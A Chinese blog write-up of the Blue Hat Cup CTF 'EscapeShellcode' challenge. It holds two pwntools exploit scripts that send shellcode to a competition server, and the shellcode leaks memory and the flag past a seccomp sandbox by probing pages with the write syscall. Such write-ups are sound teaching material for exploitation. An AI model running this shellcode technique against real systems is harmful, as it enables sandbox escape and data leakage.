第六届蓝帽杯 EscapeShellcode

程序分析

在这里插入图片描述


init_io()函数:初始化输入输出流


init_mem()函数:给了一片可以执行的空间
在这里插入图片描述


在这里程序还写了一段代码进去,这样看也不知道他到底干了什么。


在这里插入图片描述


sandbox()函数:开始沙盒,具体限制如下:


在这里插入图片描述


go()函数:让我们从heap_men+170开始写入内容(shellcode),然后执行heap_mem里面的内容,先执行完程序之前写的内容
在这里插入图片描述

#寻找思路

通过调试我们发现之前执行完的效果是:
在这里插入图片描述


**我们可以通过这个read函数,写入gadget执行,但是唯一保留程序真正地址的寄存器只有rip保留着真实地址**

我们可以考虑通过rip的地址盲write,一直尝试知道输出flag

exp

from pwn import*
#from LibcSearcher import *
#io = process('./escape_shellcode')
elf = ELF('./escape_shellcode')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug',os='linux',arch='amd64')


#gdb.attach(io,'b &*$rebase(0x1367)')

for i in range(99999):#便利次数
	io = remote("39.107.108.120",12773)
	
	sleep(0.1)
	a = 0x1000 * i
	print(hex(a))

	shellcode = '''
	lea r13, [rip]
	sub r13, 0x351#只是让输出的内容调整一下位置
	add r13, 0x120#只是让输出的内容调整一下位置
	sub r13, '''+str(a)+'''
	#write系统号调用准备
	mov rdi, 1
	mov rsi, r13
	mov rax, 1
	mov rdx, 0xff
	syscall
	'''
	#0x0067616c662f2e
	#0x55b573fcdb18
	#0x55b595adf120
	#0x18aa000
	io.sendline(asm(shellcode))
	io.interactive()
	io.close()

我们也可以通过rip的地址对其进行地位抹除操作,然后以页为单位,使用write寻找第一个可以输出的页,然后+flag的偏移就可以拿到flag了

from pwn import *  
sh = process("./escape_shellcode")  
context.update(os='linux',arch='amd64',log_level='debug')

  
  
shellcode = '''  
  
mov edi, 1  
  
lea r13, [rip]  
  
and r13, 0xfffffffff00000#只要我们保留的位数,不放心可以多补几个0  
  
mov edx, 0x50  
  
test1:  
  
add r13, 0x1000  

mov eax, 1  
  
syscall  
  
test eax, eax  
  
jng test1 #输出失败继续测试
  
add r13, 0x4120#flag的偏移

mov rsi,r13
  
mov rdx, 0xff
  
mov edi, 1  
  
mov eax, 1  
  
syscall  
  
'''  
  
print(shellcode)  
  
py = asm(shellcode)  
  
sh.sendline(py)  
  
sh.interactive()

可能大家会有疑惑为啥,第一个遇到的可读的就是我们要找的地址呢?如下图所示,我们要找的基地址就是图中的第一个地址,他是程序开始的地址,就是会首先遍历到他,那么write成功的时候就拿到基地址了+flag write就ok了
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
2023蓝帽杯初赛misc下载是指在2023年举办的蓝帽杯网络安全竞赛中的一项miscellaneous(杂项)类题目的下载。在初赛中,参赛选手需要下载与miscellaneous相关的题目文件或资源,并进行分析和解决。 首先,参赛选手需要前往蓝帽杯竞赛官方网站或相关论坛查找与初赛misc下载相关的公告或指引。这些网站通常会提供下载链接或资源分享的方式,以方便选手获取题目所需的文件或资源。 其次,根据所提供的下载链接,选手可以点击链接进行下载,也可以使用迅雷、qq旋风等下载工具进行高速下载,以确保下载的文件完整和无误。 在完成下载后,选手需要对下载的文件进行验证。可使用md5校验工具对下载后的文件进行校验,以确保文件的完整性和正确性,防止下载过程中出现错误导致文件损坏。 之后,选手可以开始进行miscellaneous题目的解析和答题。首先,解压下载的文件,查看所提供的题目资源、源代码或二进制文件等。根据题目要求和提示,选手可以使用各种工具和技术,如逆向工程、数据分析、密码学等,进行问题的分析和解决,并找出相应的答案或flag。 最后,选手需要将自己的解题过程、思路和答案记录下来,并按照比赛规则的要求提交答案。可以是一个文本文件或截图,或是将解决问题的代码或脚本提交到竞赛平台或指定的邮箱中。 总之,2023蓝帽杯初赛misc下载是参赛选手在参加蓝帽杯网络安全竞赛中所需进行的一项任务。选手需要在蓝帽杯官方网站或相关论坛上获取下载链接并下载题目相关的文件或资源,然后对其进行验证、解析和解决,最后提交答案以完成竞赛的要求。这项任务对选手的网络安全技术、解题思维和团队合作能力都提出了较高的要求。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值